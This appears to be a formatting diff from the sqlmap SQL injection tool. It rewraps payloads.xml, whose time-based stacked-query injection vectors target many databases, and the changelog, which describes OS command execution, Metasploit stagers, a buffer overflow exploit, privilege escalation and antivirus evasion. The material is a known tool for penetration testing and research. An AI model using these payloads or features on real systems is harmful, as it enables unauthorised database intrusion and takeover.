</request> </request>
<response> <response>
@ -232,9 +243,12 @@
<risk>1</risk> <risk>1</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector> <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
</vector>
<request> <request>
<payload>;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])</payload> <payload>;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT;
SELECT sleep([SLEEPTIME])
</payload>
</request> </request>
<response> <response>
<time>[SLEEPTIME]</time> <time>[SLEEPTIME]</time>
@ -335,7 +349,9 @@
<risk>1</risk> <risk>1</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL</vector> <vector>;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM]
END FROM DUAL
</vector>
<request> <request>
<payload>;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL</payload> <payload>;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL</payload>
<comment>--</comment> <comment>--</comment>
@ -355,7 +371,9 @@
<risk>1</risk> <risk>1</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL</vector> <vector>;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM]
END FROM DUAL
</vector>
<request> <request>
<payload>;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL</payload> <payload>;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL</payload>
</request> </request>
@ -374,7 +392,9 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL</vector> <vector>;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS
T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL
</vector>
<request> <request>
<payload>;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5</payload> <payload>;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5</payload>
<comment>--</comment> <comment>--</comment>
@ -394,7 +414,9 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL</vector> <vector>;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS
T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL
</vector>
<request> <request>
<payload>;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5</payload> <payload>;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5</payload>
</request> </request>
@ -491,9 +513,12 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])</vector> <vector>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE
([INFERENCE])
</vector>
<request> <request>
<payload>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3</payload> <payload>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3
</payload>
<comment>--</comment> <comment>--</comment>
</request> </request>
<response> <response>
@ -511,9 +536,12 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])</vector> <vector>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE
([INFERENCE])
</vector>
<request> <request>
<payload>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3</payload> <payload>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3
</payload>
</request> </request>
<response> <response>
<time>[DELAYED]</time> <time>[DELAYED]</time>
@ -530,7 +558,9 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector> <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))))
ELSE [RANDNUM] END)
</vector>
<request> <request>
<payload>;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload> <payload>;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
<comment>--</comment> <comment>--</comment>
@ -551,7 +581,9 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector> <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))))
ELSE [RANDNUM] END)
</vector>
<request> <request>
<payload>;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload> <payload>;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
</request> </request>
@ -571,9 +603,12 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE</vector> <vector>;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS
T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE
</vector>
<request> <request>
<payload>;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4</payload> <payload>;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4
</payload>
<comment>--</comment> <comment>--</comment>
</request> </request>
<response> <response>
@ -584,7 +619,7 @@
<dbms_version>&gt;= 2.0</dbms_version> <dbms_version>&gt;= 2.0</dbms_version>
</details> </details>
</test> </test>
<test> <test>
<title>Firebird stacked queries (heavy query)</title> <title>Firebird stacked queries (heavy query)</title>
<stype>4</stype> <stype>4</stype>
@ -592,9 +627,12 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE</vector> <vector>;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS
T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE
</vector>
<request> <request>
<payload>;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4</payload> <payload>;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4
</payload>
</request> </request>
<response> <response>
<time>[DELAYED]</time> <time>[DELAYED]</time>
@ -612,7 +650,9 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3</vector> <vector>;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM
DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3
</vector>
<request> <request>
<payload>;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3</payload> <payload>;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3</payload>
<comment>--</comment> <comment>--</comment>
@ -632,7 +672,9 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3</vector> <vector>;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM
DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3
</vector>
<request> <request>
<payload>;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3</payload> <payload>;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3</payload>
</request> </request>
@ -651,7 +693,9 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END</vector> <vector>;CALL CASE WHEN ([INFERENCE]) THEN
REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END
</vector>
<request> <request>
<payload>;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)</payload> <payload>;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)</payload>
<comment>--</comment> <comment>--</comment>
@ -664,7 +708,7 @@
<dbms_version>&gt;= 1.7.2</dbms_version> <dbms_version>&gt;= 1.7.2</dbms_version>
</details> </details>
</test> </test>
<test> <test>
<title>HSQLDB &gt;= 1.7.2 stacked queries (heavy query)</title> <title>HSQLDB &gt;= 1.7.2 stacked queries (heavy query)</title>
<stype>4</stype> <stype>4</stype>
@ -672,7 +716,9 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END</vector> <vector>;CALL CASE WHEN ([INFERENCE]) THEN
REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END
</vector>
<request> <request>
<payload>;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)</payload> <payload>;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)</payload>
</request> </request>
@ -692,7 +738,9 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END</vector> <vector>;CALL CASE WHEN ([INFERENCE]) THEN
REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END
</vector>
<request> <request>
<payload>;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload> <payload>;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload>
<comment>--</comment> <comment>--</comment>
@ -713,7 +761,9 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END</vector> <vector>;CALL CASE WHEN ([INFERENCE]) THEN
REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END
</vector>
<request> <request>
<payload>;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload> <payload>;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload>
</request> </request>

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -31,7 +31,8 @@
# Version 1.0 (2016-02-27) # Version 1.0 (2016-02-27)
* Implemented support for automatic decoding of page content through detected charset. * Implemented support for automatic decoding of page content through detected charset.
* Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.). * Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g.
Microsoft SQL Server, Sybase, etc.).
* Major improvements to program stabilization based on user reports. * Major improvements to program stabilization based on user reports.
* Added new tampering scripts avoiding popular WAF/IPS mechanisms. * Added new tampering scripts avoiding popular WAF/IPS mechanisms.
* Fixed major bug with DNS leaking in Tor mode. * Fixed major bug with DNS leaking in Tor mode.
@ -44,7 +45,8 @@
* Added option `--randomize` for randomly changing value of a given parameter(s) based on it's original form. * Added option `--randomize` for randomly changing value of a given parameter(s) based on it's original form.
* Added switch `--force-ssl` for forcing usage of SSL/HTTPS requests. * Added switch `--force-ssl` for forcing usage of SSL/HTTPS requests.
* Added option `--host` for manually setting HTTP Host header value. * Added option `--host` for manually setting HTTP Host header value.
* Added option `--eval` for evaluating provided Python code (with resulting parameter values) right before the request itself. * Added option `--eval` for evaluating provided Python code (with resulting parameter values) right before the request
itself.
* Added option `--skip` for skipping tests for given parameter(s). * Added option `--skip` for skipping tests for given parameter(s).
* Added switch `--titles` for comparing pages based only on their titles. * Added switch `--titles` for comparing pages based only on their titles.
* Added option `--charset` for forcing character encoding used for data retrieval. * Added option `--charset` for forcing character encoding used for data retrieval.
@ -131,7 +133,8 @@
* Implemented support for SQLite 2 and 3. * Implemented support for SQLite 2 and 3.
* Implemented support for Firebird. * Implemented support for Firebird.
* Implemented support for Microsoft Access, Sybase and SAP MaxDB. * Implemented support for Microsoft Access, Sybase and SAP MaxDB.
* Extended old `--dump -C` functionality to be able to search for specific database(s), table(s) and column(s), option `--search`. * Extended old `--dump -C` functionality to be able to search for specific database(s), table(s) and column(s),
option `--search`.
* Added support to tamper injection data with option `--tamper`. * Added support to tamper injection data with option `--tamper`.
* Added automatic recognition of password hashes format and support to crack them with a dictionary-based attack. * Added automatic recognition of password hashes format and support to crack them with a dictionary-based attack.
* Added support to enumerate roles on Oracle, `--roles` switch. * Added support to enumerate roles on Oracle, `--roles` switch.
@ -143,12 +146,16 @@
* Implemented HTTP(s) proxy authentication support, option `--proxy-cred`. * Implemented HTTP(s) proxy authentication support, option `--proxy-cred`.
* Implemented feature to speedup the enumeration of table names. * Implemented feature to speedup the enumeration of table names.
* Support for customizable HTTP(s) redirections. * Support for customizable HTTP(s) redirections.
* Support to replicate the back-end DBMS tables structure and entries in a local SQLite 3 database, switch `--replicate`. * Support to replicate the back-end DBMS tables structure and entries in a local SQLite 3 database,
switch `--replicate`.
* Support to parse and test forms on target url, switch `--forms`. * Support to parse and test forms on target url, switch `--forms`.
* Added switches to brute-force tables names and columns names with a dictionary attack, `--common-tables` and `--common-columns`. Useful for instance when system table `information_schema` is not available on MySQL. * Added switches to brute-force tables names and columns names with a dictionary attack, `--common-tables`
* Basic support for REST-style URL parameters by using the asterisk (`*`) to mark where to test for and exploit SQL injection. and `--common-columns`. Useful for instance when system table `information_schema` is not available on MySQL.
* Basic support for REST-style URL parameters by using the asterisk (`*`) to mark where to test for and exploit SQL
injection.
* Added safe URL feature, `--safe-url` and `--safe-freq`. * Added safe URL feature, `--safe-url` and `--safe-freq`.
* Added switch `--text-only` to strip from the HTTP response body the HTML/JS code and compare pages based only on their textual content. * Added switch `--text-only` to strip from the HTTP response body the HTML/JS code and compare pages based only on their
textual content.
* Implemented few other features and switches. * Implemented few other features and switches.
* Over 100 bugs fixed. * Over 100 bugs fixed.
* Major code refactoring. * Major code refactoring.
@ -156,16 +163,24 @@
# Version 0.8 (2010-03-14) # Version 0.8 (2010-03-14)
* Support to enumerate and dump all databases' tables containing user provided column(s) by specifying for instance `--dump -C user,pass`. Useful to identify for instance tables containing custom application credentials. * Support to enumerate and dump all databases' tables containing user provided column(s) by specifying for
* Support to parse `-C` (column name(s)) when fetching columns of a table with `--columns`: it will enumerate only columns like the provided one(s) within the specified table. instance `--dump -C user,pass`. Useful to identify for instance tables containing custom application credentials.
* Support to parse `-C` (column name(s)) when fetching columns of a table with `--columns`: it will enumerate only
columns like the provided one(s) within the specified table.
* Support for takeover features on PostgreSQL 8.4. * Support for takeover features on PostgreSQL 8.4.
* Enhanced `--priv-esc` to rely on new Metasploit Meterpreter's 'getsystem' command to elevate privileges of the user running the back-end DBMS instance to SYSTEM on Windows. * Enhanced `--priv-esc` to rely on new Metasploit Meterpreter's 'getsystem' command to elevate privileges of the user
* Automatic support in `--os-pwn` to use the web uploader/backdoor to upload and execute the Metasploit payload stager when stacked queries SQL injection is not supported, for instance on MySQL/PHP and MySQL/ASP, but there is a writable folder within the web server document root. running the back-end DBMS instance to SYSTEM on Windows.
* Fixed web backdoor functionality for `--os-cmd`, `--os-shell` and `--os-pwn` useful when web application does not support stacked queries. * Automatic support in `--os-pwn` to use the web uploader/backdoor to upload and execute the Metasploit payload stager
* Added support to properly read (`--read-file`) also binary files via PostgreSQL by injecting sqlmap new `sys_fileread()` user-defined function. when stacked queries SQL injection is not supported, for instance on MySQL/PHP and MySQL/ASP, but there is a writable
folder within the web server document root.
* Fixed web backdoor functionality for `--os-cmd`, `--os-shell` and `--os-pwn` useful when web application does not
support stacked queries.
* Added support to properly read (`--read-file`) also binary files via PostgreSQL by injecting sqlmap
new `sys_fileread()` user-defined function.
* Updated active fingerprint and comment injection fingerprint for MySQL 5.1, MySQL 5.4 and MySQL 5.5. * Updated active fingerprint and comment injection fingerprint for MySQL 5.1, MySQL 5.4 and MySQL 5.5.
* Updated active fingerprint for PostgreSQL 8.4. * Updated active fingerprint for PostgreSQL 8.4.
* Support for NTLM authentication via python-ntlm third party library, http://code.google.com/p/python-ntlm/, `--auth-type NTLM`. * Support for NTLM authentication via python-ntlm third party
library, http://code.google.com/p/python-ntlm/, `--auth-type NTLM`.
* Support to automatically decode `deflate`, `gzip` and `x-gzip` HTTP responses. * Support to automatically decode `deflate`, `gzip` and `x-gzip` HTTP responses.
* Support for Certificate authentication, `--auth-cert` option added. * Support for Certificate authentication, `--auth-cert` option added.
* Added support for regular expression based scope when parsing Burp or Web Scarab proxy log file (`-l`), `--scope`. * Added support for regular expression based scope when parsing Burp or Web Scarab proxy log file (`-l`), `--scope`.
@ -175,21 +190,28 @@
* Added support to specify which Google dork result page to parse, `--gpage` to be used together with `-g`. * Added support to specify which Google dork result page to parse, `--gpage` to be used together with `-g`.
* Major bug fix and enhancements to the multi-threading (`--threads`) functionality. * Major bug fix and enhancements to the multi-threading (`--threads`) functionality.
* Fixed URL encoding/decoding of GET/POST parameters and Cookie header. * Fixed URL encoding/decoding of GET/POST parameters and Cookie header.
* Refactored `--update` to use `python-svn` third party library if available or `svn` command to update sqlmap to the latest development version from subversion repository. * Refactored `--update` to use `python-svn` third party library if available or `svn` command to update sqlmap to the
latest development version from subversion repository.
* Major bugs fixed. * Major bugs fixed.
* Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack. * Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack.
* Major code cleanup. * Major code cleanup.
* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware. * Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly
Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that
mistakenly mark sqlmap as a malware.
* Updated user's manual. * Updated user's manual.
* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from https://sqlmap.org/demo.html. * Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked
from https://sqlmap.org/demo.html.
# Version 0.8 release candidate (2009-09-21) # Version 0.8 release candidate (2009-09-21)
* Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (`--os-bof`) to automatically bypass DEP memory protection. * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (`--os-bof`) to
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. automatically bypass DEP memory protection.
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory,
anti-forensics technique) as an option instead of uploading the standalone payload stager executable.
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys.
* Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added options for MySQL and PostgreSQL to inject custom user-defined functions.
* Added support for `--first` and `--last` so the user now has even more granularity in what to enumerate in the query output. * Added support for `--first` and `--last` so the user now has even more granularity in what to enumerate in the query
output.
* Minor enhancement to save the session by default in 'output/hostname/session' file if `-s` option is not specified. * Minor enhancement to save the session by default in 'output/hostname/session' file if `-s` option is not specified.
* Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system.
* Minor bugs fixed. * Minor bugs fixed.
@ -199,67 +221,101 @@
* Adapted Metasploit wrapping functions to work with latest 3.3 development version too. * Adapted Metasploit wrapping functions to work with latest 3.3 development version too.
* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too. * Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
* Reset takeover OOB features (if any of `--os-pwn`, `--os-smbrelay` or `--os-bof` is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 to work again on Windows too. * Reset takeover OOB features (if any of `--os-pwn`, `--os-smbrelay` or `--os-bof` is selected) when running under
Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7
to work again on Windows too.
* Minor improvement so that sqlmap tests also all parameters with no value (eg. par=). * Minor improvement so that sqlmap tests also all parameters with no value (eg. par=).
* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+. * HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+.
* Major bug fix to sql-query/sql-shell features. * Major bug fix to sql-query/sql-shell features.
* Major bug fix in `--read-file` option. * Major bug fix in `--read-file` option.
* Major silent bug fix to multi-threading functionality. * Major silent bug fix to multi-threading functionality.
* Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and `--os-shell` is provided. * Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and `--os-shell` is
provided.
* Fixed MySQL 'comment injection' version fingerprint. * Fixed MySQL 'comment injection' version fingerprint.
* Fixed basic Microsoft SQL Server 2000 fingerprint. * Fixed basic Microsoft SQL Server 2000 fingerprint.
* Many minor bug fixes and code refactoring. * Many minor bug fixes and code refactoring.
# Version 0.7 release candidate (2009-04-22) # Version 0.7 release candidate (2009-04-22)
* Added support to execute arbitrary commands on the database server underlying operating system either returning the standard output or not via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored procedure on Microsoft SQL Server; * Added support to execute arbitrary commands on the database server underlying operating system either returning the
* Added support for out-of-band connection between the attacker box and the database server underlying operating system via stand-alone payload stager created by Metasploit and supporting Meterpreter, shell and VNC payloads for both Windows and Linux; standard output or not via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored procedure on Microsoft
* Added support for out-of-band connection via Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploitation with multi-stage Metasploit payload support; SQL Server;
* Added support for out-of-band connection via SMB reflection attack with UNC path request from the database server to the attacker box by using the Metasploit smb_relay exploit; * Added support for out-of-band connection between the attacker box and the database server underlying operating system
* Added support to read and write (upload) both text and binary files on the database server underlying file system for MySQL, PostgreSQL and Microsoft SQL Server; via stand-alone payload stager created by Metasploit and supporting Meterpreter, shell and VNC payloads for both
* Added database process' user privilege escalation via Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via either Meterpreter's incognito extension or Churrasco stand-alone executable; Windows and Linux;
* Added support for out-of-band connection via Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored
procedure heap-based buffer overflow (MS09-004) exploitation with multi-stage Metasploit payload support;
* Added support for out-of-band connection via SMB reflection attack with UNC path request from the database server to
the attacker box by using the Metasploit smb_relay exploit;
* Added support to read and write (upload) both text and binary files on the database server underlying file system for
MySQL, PostgreSQL and Microsoft SQL Server;
* Added database process' user privilege escalation via Windows Access Tokens kidnapping on MySQL and Microsoft SQL
Server via either Meterpreter's incognito extension or Churrasco stand-alone executable;
* Speed up the inference algorithm by providing the minimum required charset for the query output; * Speed up the inference algorithm by providing the minimum required charset for the query output;
* Major bug fix in the comparison algorithm to correctly handle also the case that the url is stable and the False response changes the page content very little; * Major bug fix in the comparison algorithm to correctly handle also the case that the url is stable and the False
response changes the page content very little;
* Many minor bug fixes, minor enhancements and layout adjustments. * Many minor bug fixes, minor enhancements and layout adjustments.
# Version 0.6.4 (2009-02-03) # Version 0.6.4 (2009-02-03)
* Major enhancement to make the comparison algorithm work properly also on url not stables automatically by using the difflib Sequence Matcher object; * Major enhancement to make the comparison algorithm work properly also on url not stables automatically by using the
